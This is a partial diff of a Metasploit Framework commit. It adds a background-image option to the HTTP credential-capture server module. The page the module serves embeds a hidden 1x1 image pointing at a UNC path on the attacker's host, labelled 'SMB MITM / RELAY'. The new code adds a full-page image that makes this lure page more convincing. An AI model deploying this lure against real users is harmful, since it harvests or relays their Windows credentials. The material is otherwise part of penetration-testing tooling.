Changeset 5458

Show
Ignore:
Timestamp:
03/26/08 17:00:23 (2 months ago)
Author:
hdm
Message:

Support a background image

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5455 r5458  
    4444                register_options( 
    4545                        [ 
    46                                 OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 80 ]) 
     46                                OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 80 ]), 
     47                                OptPath.new('BGIMAGE',    [ false, "The background image to use for the default web page", nil ]) 
    4748                        ], self.class) 
    4849        end 
     
    5455 
    5556        def run 
    56                 @myhost = datastore['SRVHOST'] 
    57                 @myport = datastore['SRVPORT'] 
     57                @bgimage = datastore['BGIMAGE'] 
     58                @myhost  = datastore['SRVHOST'] 
     59                @myport  = datastore['SRVPORT'] 
    5860                exploit() 
    5961        end 
     
    151153                # SMB MITM / RELAY 
    152154                 
    153                 data = "<html><head><title>Connecting...</title></head><body><img src='\\\\#{mysrc}\\public\\loading.jpg' width='1' height='1'></body></html>" 
     155                body_extra = "" 
     156                if(@bgimage) 
     157                        img_ext = @bgimage.split(".")[-1].downcase 
     158                        req_ext = req.resource.split(".")[-1] 
     159                        ctypes  = 
     160                        { 
     161                                "jpg"   => "image/jpeg", 
     162                                "jpeg"  => "image/jpeg", 
     163                                "png"   => "image/png", 
     164                                "gif"   => "image/gif", 
     165                        } 
     166                         
     167                        begin 
     168                                if (img_ext == req_ext.downcase) 
     169 
     170                                        ctype = ctypes[img_ext] || ctypes["jpg"] 
     171                                        idata = "" 
     172                                        isize = File.size(@bgimage) 
     173                                         
     174                                        fd = File.open(@bgimage) 
     175                                        idata = fd.sysread(isize) 
     176                                        fd.close 
     177 
     178                                        res =  
     179                                                "HTTP/1.1 200 OK\r\n" + 
     180                                                "Host: #{mysrc}\r\n" + 
     181                                                "Content-Type: #{ctype}\r\n" + 
     182                                                "Content-Length: #{idata.length}\r\n" + 
     183                                                "Connection: Close\r\n\r\n#{idata}"                      
     184 
     185                                        cli.syswrite(res) 
     186                                        return 
     187                                end 
     188                        rescue ::Exception 
     189                        end 
     190                 
     191                        body_extra = "<img src='/background.#{img_ext}' width='100%' height='100%'>" 
     192                end 
     193                 
     194                 
     195                 
     196                data = "<html><head><title>Connecting...</title></head><body>#{body_extra}<img src='\\\\#{mysrc}\\public\\loading.jpg' width='1' height='1'></body></html>" 
    154197                res  =  
    155198                        "HTTP/1.1 200 OK\r\n" + 
    156                         "Host: #{req['Host'] || datastore['SRVHOST']}\r\n" + 
     199                        "Host: #{mysrc}\r\n" + 
    157200                        "Content-Type: text/html\r\n" + 
    158201                        "Content-Length: #{data.length}\r\n" +